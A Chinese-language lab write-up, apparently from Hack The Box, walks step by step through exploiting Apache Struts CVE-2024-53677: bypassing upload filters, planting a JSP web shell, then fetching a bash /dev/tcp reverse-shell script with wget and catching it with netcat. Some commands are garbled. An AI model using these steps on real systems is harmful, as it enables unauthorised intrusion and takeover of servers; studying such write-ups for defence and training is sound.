一步步指导如何利用Apache Struts CVE-2024-53677远程代码执行漏洞,通过文件上传操纵进行攻击,包括OGNL注入、有效载荷嵌入和反向Shell建立。
CVE-2024-53677 是一个影响 Apache Struts 2.0.0 至 6.4.0 之前版本的漏洞。⚠️ 该漏洞曾在 Hack The Box 实验室中被利用。
Apache Struts 的文件上传逻辑存在缺陷。攻击者可以操纵文件上传参数实现路径遍历,在某些情况下,这可能导致上传恶意文件,进而执行远程代码。
🔗 参考: NIST NVD 条目
pom.xml 显示为 Apache Struts 6.3.0.1📸 pom.xml 暴露情况:

为利用此漏洞,我们使用 BurpSuite 及其 Repeater 功能在发送前修改数据包。下面是一个未修改的请求。
我们的问题是该站点阻止非 [JPG, JPEG, PNG, GIF] 的文件类型,并且 /uploads 目录中的任何文件都不可执行。为解决这些问题,我们首先添加另一个参数。
添加修改后的参数后,服务器响应确认文件已成功上传。然而,我们注意到文件路径与通常的上传目录不同。
接下来,我们将载荷直接附加在图像数据下方、注入的参数之前。Shell 载荷可来源于 🔗 参考: shell.jsp
另外,一个关键细节是请求需要将 "Upload" 的首字母大写,而非小写的 "upload"。这遵循了以下利用结构中观察到的方式:🔗 参考: exploit.py
完成这些修改后,我们发送请求。服务器响应类似,确认上传成功并显示了调整后的文件路径。
现在,通过访问以下 URL,我们可以与上传的 Shell 进行交互。
ip/shelll.jsp?action=cmd&cmd=id

在此阶段,我们可以使用本地托管的 Web 服务器建立反向 Shell。一种简单的方法是使用 Python:
python3 http.server -m 3004
接下来,创建一个基本的 Shell 脚本(如 shell.sh)
cat bash -i >& /dev/tcp/$IP/$PORT 0>&1 > shell.sh
使用 wget 下载它
wget http://ip_address/filename -O /tmp
下载后,赋予执行权限
chmod +777 /tmp/filename
然后使用 nc(netcat)监听反向 Shell。
nc -lvnp $PORT
最后执行
./filename